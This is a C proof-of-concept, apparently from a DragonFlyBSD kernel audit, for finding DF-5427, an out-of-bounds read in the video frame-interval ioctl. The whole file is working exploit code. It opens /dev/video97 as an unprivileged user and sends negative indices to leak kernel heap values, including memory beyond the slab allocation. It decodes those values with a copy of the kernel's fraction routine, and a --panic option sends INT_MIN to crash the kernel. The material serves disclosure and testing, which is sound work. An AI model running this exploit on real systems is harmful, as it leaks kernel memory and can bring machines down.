⬢ DragonFlyBSD Kernel Audit
DF-5427 / trigger.c
← back to finding ↓ download raw
/*
 * trigger.c - unprivileged trigger for DF-5427
 * (VIDIOC_ENUM_FRAMEINTERVALS signed-index OOB read on /dev/videoN, 0666).
 *
 * Self-contained: local copies of the v4l2 struct/ioctl definitions and of
 * the kernel's uvc_simple_frac() transformation, so the value the kernel
 * copied out can be matched against the kernel heap content it was read
 * from (printed as ground truth by the harness).
 *
 * usage: trigger            -> sanity + controlled-offset leak proof
 *        trigger --panic    -> wild offset (INT_MIN) => kernel page fault
 */
#include <sys/types.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>

#define V4L2_BUF_TYPE_VIDEO_CAPTURE 1
#define V4L2_PIX_FMT_YUYV 0x56595559

struct v4l2_fract {
	uint32_t numerator;
	uint32_t denominator;
};
struct v4l2_frmival_stepwise {
	struct v4l2_fract min;
	struct v4l2_fract max;
	struct v4l2_fract step;
};
struct v4l2_frmivalenum {
	uint32_t index;
	uint32_t pixel_format;
	uint32_t width;
	uint32_t height;
	uint32_t type;
	union {
		struct v4l2_fract discrete;
		struct v4l2_frmival_stepwise stepwise;
	} x;
	uint32_t reserved[2];
};
#define VIDIOC_ENUM_FRAMEINTERVALS _IOWR('V', 75, struct v4l2_frmivalenum)

/* exact mirror of the kernel's uvc_simple_frac() (uvc_v4l2.c:230-276) so we
 * can predict the copied-out rational for a known raw heap value */
static void
simple_frac(uint32_t *numerator, uint32_t *denominator, uint32_t max_iters,
    uint32_t threshold)
{
	uint32_t *coeff, best_den, best_num, remainder, i, j;

	if (!numerator || !denominator || *denominator == 0 || max_iters == 0)
		return;
	coeff = calloc(max_iters, sizeof(uint32_t));
	if (coeff == NULL)
		return;
	best_den = *numerator;
	best_num = *denominator;
	for (j = 0; j < max_iters && best_num != 0; ++j) {
		coeff[j] = best_den / best_num;
		if (coeff[j] >= threshold) {
			if (j < 2)
				j++;
			break;
		}
		remainder = best_den % best_num;
		best_den = best_num;
		best_num = remainder;
	}
	best_den = 0;
	best_num = 1;
	for (i = j; i > 0; --i) {
		remainder = best_num;
		best_num = coeff[i - 1] * best_num + best_den;
		best_den = remainder;
	}
	*numerator = best_num;
	*denominator = best_den;
	free(coeff);
}

static int devfd = -1;

/* one query; returns 0 and fills num/den on success */
static int
query(uint32_t index, uint32_t *num, uint32_t *den, uint32_t *type)
{
	struct v4l2_frmivalenum itv;

	memset(&itv, 0, sizeof(itv));
	itv.index = index;
	itv.pixel_format = V4L2_PIX_FMT_YUYV;
	itv.width = 640;
	itv.height = 480;
	if (ioctl(devfd, VIDIOC_ENUM_FRAMEINTERVALS, &itv) != 0)
		return (-1);
	*num = itv.x.discrete.numerator;
	*den = itv.x.discrete.denominator;
	*type = itv.type;
	return (0);
}

static void
expect(const char *tag, uint32_t raw)
{
	uint32_t num = raw, den = 10000000, gotn = 0, gotd = 0, type = 0;

	simple_frac(&num, &den, 8, 333);
	if (query(0xFFFFFFFFu, &gotn, &gotd, &type) != 0) {
		printf("TRIGGER %-14s ioctl failed: %s\n", tag, strerror(errno));
		return;
	}
	printf("TRIGGER %-14s raw(interval[-1])=0x%08x expected num/den=%u/%u "
	    "got num/den=%u/%u type=%u -> %s\n", tag, raw, num, den, gotn, gotd,
	    type, (gotn == num && gotd == den) ? "MATCH" : "MISMATCH");
}

int
main(int argc, char **argv)
{
	uint32_t num, den, type;
	int i;

	devfd = open("/dev/video97", O_RDWR);
	if (devfd < 0) {
		perror("open /dev/video97");
		return (1);
	}
	printf("TRIGGER: opened /dev/video97 as uid=%d euid=%d\n",
	    getuid(), geteuid());

	if (argc > 1 && strcmp(argv[1], "--panic") == 0) {
		printf("TRIGGER[panic]: issuing VIDIOC_ENUM_FRAMEINTERVALS "
		    "with index=0x80000000 (INT_MIN => read at "
		    "interval-8GiB, expect fatal trap 12)\n");
		fflush(stdout);
		i = query(0x80000000u, &num, &den, &type);
		printf("TRIGGER[panic]: UNEXPECTED survival ret=%d "
		    "num=%u den=%u\n", i, num, den);
		return (0);
	}

	/* sanity: in-bounds index 0 must return the first discrete interval */
	if (query(0, &num, &den, &type) == 0)
		printf("TRIGGER sanity[index=0]: num/den=%u/%u type=%u "
		    "(frame interval #1)\n", num, den, type);
	else
		printf("TRIGGER sanity[index=0]: ioctl failed: %s\n",
		    strerror(errno));

	/* k = 1: reads frm[0] tail = width|height<<16 = 0x01E00280 */
	expect("k=1", (480u << 16) | 640u);

	/* k = 2..8: frm[0]/fmt[0] fields inside the slab; k = 37..44: outside
	 * the 144-byte slab allocation (groom markers from the harness) */
	for (i = 2; i <= 8; i++) {
		if (query((uint32_t)-(int32_t)i, &num, &den, &type) == 0)
			printf("TRIGGER k=%-2d: num/den=%u/%u type=%u "
			    "(value*1e7/den ~ %.4f)\n", i, num, den, type,
			    (double)num * 1e7 / (double)den);
		else
			printf("TRIGGER k=%-2d: ioctl failed: %s\n", i,
			    strerror(errno));
	}
	for (i = 33; i <= 44; i++) {
		if (query((uint32_t)-(int32_t)i, &num, &den, &type) == 0) {
			printf("TRIGGER LEAKSAMPLE k=%-2d num=%u den=%u type=%u "
			    "(raw heap u32 below slab ~= %.1f)\n", i, num, den,
			    type, (double)num * 1e7 / (double)den);
		} else
			printf("TRIGGER k=%-2d: ioctl failed: %s\n", i,
			    strerror(errno));
	}
	return (0);
}